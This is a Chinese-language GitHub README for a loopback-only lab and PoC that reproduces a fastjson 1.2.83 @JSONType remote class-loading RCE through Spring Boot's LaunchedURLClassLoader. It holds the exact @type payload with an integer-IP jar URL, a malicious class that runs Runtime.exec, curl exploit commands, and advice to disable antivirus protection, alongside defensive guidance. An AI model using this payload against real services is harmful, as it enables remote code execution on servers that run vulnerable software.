fzypl/Fastjson-JsonType-RCE-Demo

GitHub: fzypl/Fastjson-JsonType-RCE-Demo

这是一个用于在本地复现和研究 fastjson `@JSONType` 注解探测机制导致的远程代码执行漏洞的实验环境与 PoC。

Stars: 0 | Forks: 0

# fastjson `@JSONType` jar: URL RCE — 本地实验环境 这是一个独立且仅限于本地回环的复现环境,针对 fastjson `ParserConfig.checkAutoType` `@JSONType` 探测漏洞。该漏洞通过 Spring Boot 的 `LaunchedURLClassLoader`,将精心构造的 `@type` 值转化为远程类加载。 已在 JDK 8 环境下通过 `cmd.exe /c calc` payload 完成端到端验证(计算器窗口会从 vuln-app JVM 中弹出)。 ## TL;DR ``` # Terminal 1 — 启动漏洞目标 cd vuln-app export JDK8=/e/software/jdk/jdk1.8.0_431 JAVA_HOME=$JDK8 PATH=$JDK8/bin:$PATH /e/software/maven/apache-maven-3.9.2/bin/mvn clean package -DskipTests $JDK8/bin/java.exe -jar target/fastjson-jsontype-vuln-app.jar # Terminal 2 — 运行 PoC cd poc ./run-poc.sh # → 几秒内 vuln-app 主机上会弹出 calc(RCE 证明) ``` 如果你的 Windows Defender 处于开启状态,它会将 `evil.jar` 隔离(因为它匹配到了 `Runtime.exec` payload 的特征)。你需要将此实验目录添加到 Defender 的排除列表中, 或者在测试期间暂时关闭实时保护。 ## 本实验包含的内容 ``` fastjson-jsontype-lab/ ├── README.md (this file) ├── vuln-app/ Spring Boot 2.7.18 + fastjson 1.2.83 FatJar target │ ├── pom.xml │ └── src/main/ │ ├── java/com/lab/vuln/ │ │ ├── VulnApplication.java │ │ ├── LaunchedClassLoaderInitializer.java ← the trigger wiring │ │ ├── ParseController.java (/info /parse /parse-async /check) │ │ └── AsyncParser.java (worker thread, RCE lane) │ └── resources/application.properties (127.0.0.1:8081) └── poc/ ├── GenPayload.java ASM generator: jar:URL-named class + calc ├── payload.json the @type payload (uses integer IP 2130706433) ├── build-malicious-jar.sh compiles Gen + generates evil.jar via java.util.zip ├── serve-jar.sh serves /evil -> evil.jar on 127.0.0.1:18080 └── run-poc.sh one-shot driver (build → serve → exploit → report) ``` ## 漏洞利用工作原理 ### Payload ``` {"@type":"jar:http:..2130706433:18080.evil!.Exploit","x":1} ``` 有两个不那么显而易见的细节: - **`2130706433`** 是以单个十进制整数表示的 `127.0.0.1`。 点分形式的 `127.0.0.1` 是**不**起作用的——请参阅下文的“为何使用整数 IP”。 - **`..`** 是将看似类名的字符串重新构造为 URL 的关键技巧。fastjson 的 `@JSONType` 探测会执行 `typeName.replace('.', '/') + ".class"`,这会把 `..` 变成 `//`: jar:http:..2130706433:18080.evil!.Exploit -> jar:http://2130706433:18080/evil!/Exploit.class ### 探测机制 `ParserConfig.checkAutoType` 会运行一条 `@JSONType` “探测”路径,即使 在全局禁用 AutoType 时该路径也是可达的(探测机制是一个信任通道)。 探测机制会如上所述重构资源名称,并向配置的 `defaultClassLoader` 请求将其作为流进行获取: ``` String resource = typeName.replace('.', '/') + ".class"; InputStream is = defaultClassLoader.getResourceAsStream(resource); // then: ClassReader -> TypeCollector.hasJsonType() // then: TypeUtils.loadClass(typeName, defaultClassLoader, true) ``` 当 `defaultClassLoader` 是 Spring Boot 的 `LaunchedURLClassLoader` 时, `getResourceAsStream` 实际上会将 `jar:http://...!/...class` 视为 真实的嵌套 jar URL,并**发起 HTTP GET 请求**来获取它。 ### 触发机制装配 (`LaunchedClassLoaderInitializer`) 仅靠普通的“在 Spring Boot FatJar 内部运行”设置本身是**不够的**。 探测机制使用的是 `ParserConfig.defaultClassLoader`,默认情况下它是 任何调用 `JSON.parse` 的线程的上下文类加载器——而在 Tomcat 的 请求线程上,这并不是正确的加载器。上游研究的测试平台 (原始 PoC 仓库中的 Test2)通过显式执行以下操作使整个利用链生效: 1. 构建一个 URL 数组指向 FatJar 的 `LaunchedURLClassLoader` (`LaunchedClassLoaderInitializer` 通过反射实现这一点)。 2. 调用 `ParserConfig.getGlobalInstance().setDefaultClassLoader(thatLoader)`。 这模拟了真实的触发条件(应用程序使用支持 jar URL 的加载器调用 `setDefaultClassLoader`),也正是这一点使得探测机制能够真正获取并 defineClass 远程类。 ### 恶意类 `GenPayload.java` 使用 ASM 生成一个类,其字节码内部名称 确切为 `jar:http://2130706433:18080/evil!/Exploit`(无法通过 Java 源码编写),并带有一个运行时可见的 `@JSONType` 注解。它的 ``: ``` System.out.println("REMOTE RCE EXECUTED (cmd launched from remote class)"); Runtime.getRuntime().exec("cmd.exe /c calc"); ``` 当 fastjson 对获取到的字节执行 `defineClass` 并初始化该类时, `` 会在 vuln-app JVM 内部运行 → 计算器弹出。 ## 为何使用整数 IP fastjson 的探测机制会执行 `typeName.replace('.', '/')`。像 `127.0.0.1` 这样的点分 IP 会变成 `127/0/0/1`,这会破坏 URL 的主机部分,并导致 重构后的资源名称无法解析——探测机制返回 null, `checkAutoType` 随后落入拒绝哈希(deny-hash)校验,抛出 `autoType is not support`。整数形式 `2130706433` 没有点号,能够在 替换操作中保留下来,并在 HTTP 层解析为回环地址。 这也是为什么 README 的防御指南建议对 `@type` 值中的 整数形式 IP 字面量进行告警的原因。 ## 为什么有两个端点 | Endpoint | 线程 | 行为 | | --- | --- | --- | | `POST /parse` | Tomcat 请求线程 | 探测机制仍然会运行(它使用的是 `defaultClassLoader`,而不是线程的 TCCL),因此 jar 仍然会被获取——但在这个线程上,类定义阶段通常无法完成。可用于演示 SSRF 部分。 | | `POST /parse-async` | 启动时创建的工作线程 | 完整的 RCE —— 类被成功定义并且 `` 运行,计算器弹出。 | | `POST /check` | (任意) | 绕过 JSON 解析器并直接使用原始类型名称调用 `checkAutoType`。这是最清晰的展示探测机制的单独演示。 | | `GET /info` | (任意) | 诊断信息:线程、TCCL、`parserConfigClassLoader`、`parserConfigDefaultClassLoader`、`autoTypeSupport`。 | ## 为什么使用 JDK 8 JDK 9+ 收紧了 `defineClass` 的类名校验,并会拒绝 `jar:http://…!/Exploit` 这样的内部名称,因此利用链会停在 SSRF 步骤。 JDK 8 的验证器接受这些字节——这正是 RCE 能够成功的原因。 ## 前置条件 - **JDK 8**。本实验假设路径为 `/e/software/jdk/jdk1.8.0_431`;可以通过 `JDK8` 环境变量覆盖。 - **Maven**。在本机上为:`/e/software/maven/apache-maven-3.9.2/bin/mvn`。 - **curl**、**python**(需要 3.7+ 以支持 `http.server --directory`)、**bash**。 - 如果你希望默认的 `cmd.exe /c calc` payload 可见,则需要 **Windows** 主机。 对于其他操作系统,请在运行 GenPayload 时传入 `-Dpoc.cmd=...` 并 重新构建 evil.jar。 - 如果你的防病毒软件对 `Runtime.exec` payload 进行了特征匹配(Windows Defender 就会如此),请为该实验目录添加**防病毒例外**。 ## 手动操作步骤 ``` cd poc ./build-malicious-jar.sh ./serve-jar.sh & # background; serves 127.0.0.1:18080/evil SERVE_PID=$! # SSRF 演示路径(会获取 jar,但此处通常不会定义 class): curl -X POST http://127.0.0.1:8081/parse \ -H 'Content-Type: application/json' \ -d @payload.json # 完整 RCE 路径(vuln-app 主机上应该会弹出 calc): curl -X POST http://127.0.0.1:8081/parse-async \ -H 'Content-Type: application/json' \ -d @payload.json # 直接演示 checkAutoType: curl -X POST http://127.0.0.1:8081/check \ -H 'Content-Type: text/plain' \ -d 'jar:http:..2130706433:18080.evil!.Exploit' kill $SERVE_PID ``` 成功访问 `/parse-async` 的标志: - curl 响应正文中包含 `"resultClass":"jar:http:..2130706433:18080.evil!.Exploit"` —— fastjson 已将请求反序列化为远程类的实例。 - jar 服务器日志显示有两行 `GET /evil` 记录(一次用于探测机制的 `getResourceAsStream`,另一次用于随后的 `loadClass`)。 - vuln-app 控制台输出 `REMOTE RCE EXECUTED`。 - 在 vuln-app 主机上有一个 `CalculatorApp` 进程正在运行,该进程是在 POST 请求发出时启动的。 ## 检查精心构造的类 ``` $JDK8/bin/javap.exe -v -p poc/build/Exploit.class | head -30 # this_class 应该显示:"jar:http://2130706433:18080/evil!/Exploit" ``` (存放在 `build/` 而不是 `crafted/` 中,是因为 `GenPayload` 直接通过 `java.util.zip` 写入 jar,绕过了外部的 `jar` 工具——某些防病毒软件会 在生成和打包期间拦截对精心构造的 `.class` 文件的读取。) ## 防御指南 1. 启用 fastjson SafeMode:`-Dfastjson.parser.safeMode=true`。 2. 迁移至 **fastjson2** 并在不受信任的 JSON 路径中移除 fastjson 1.x。 3. 尽可能在 **JDK 9+** 上运行——这会阻断类定义阶段(SSRF 仍需单独缓解)。 4. 实施严格的出站流量限制,防止应用程序 runtime 获取任意的 HTTP 资源。 5. 对包含 `jar:`、`!`、`..` URL 重构模式或整数形式 IP 字面量(例如 `2130706433`)的 `@type` 值进行告警。 6. 审计 `ParserConfig.setDefaultClassLoader(...)` 的调用点——避免使用会将攻击者控制的资源名称解析为 URL 的类加载器。 ## 故障排除 - **PoC 提示目标无响应**:请先启动 `vuln-app`(终端 1)。 - **出现 `autoType is not support` 错误,且没有弹出计算器**:你很可能在 payload/内部名称中使用了点分 IP(`127.0.0.1`)。探测机制的 `replace('.','/')` 破坏了它。请使用整数形式 `2130706433`。 - **evil.jar 为空 / 被防病毒软件隔离**:`Runtime.exec` 字节码被特征 匹配。请将此实验目录添加到你的防病毒排除列表中,或者 暂时禁用实时保护,然后重新运行 `build-malicious-jar.sh`。 - **`/parse` 获取了 jar 但没有弹出计算器**:这在请求 线程上是正常的。请使用 `/parse-async` 进行完整的 RCE 演示。 - **在非 Windows 主机上计算器没有弹出**:请使用不同的命令重新生成类,例如 `java -Dpoc.cmd="touch /tmp/RCE_PROOF" GenPayload ...`,并重新构建 evil.jar。 - **`serve-jar.sh` 报错 "address already in use"**:之前的一次运行仍 绑定在 :18080 端口。请将其 `kill` 掉或更改 `POC_PORT`(并更新 `payload.json` 和 `GenPayload` 的内部名称以保持一致)。 ## 参考 - fastjson `ParserConfig.checkAutoType`,发生 `typeName.replace('.', '/')` 重构的 `@JSONType` 探测代码块。 - Spring Boot `org.springframework.boot.loader.jar.Handler#parseURL`,与普通 JDK classpath 处理方式不同的嵌套 jar URL 处理机制。 - 在 fastjson 1.2.66 中引入并一直存在至 1.2.83 的 `@JSONType` 探测行为。 - 原始研究平台: (本实验的 `LaunchedClassLoaderInitializer` 模拟了其中的 `Test2.java`)。
标签:Fastjson, GHAS, Java安全, JS文件枚举, RCE, 域名枚举, 应用安全, 数据展示, 漏洞复现, 红队, 逆向工具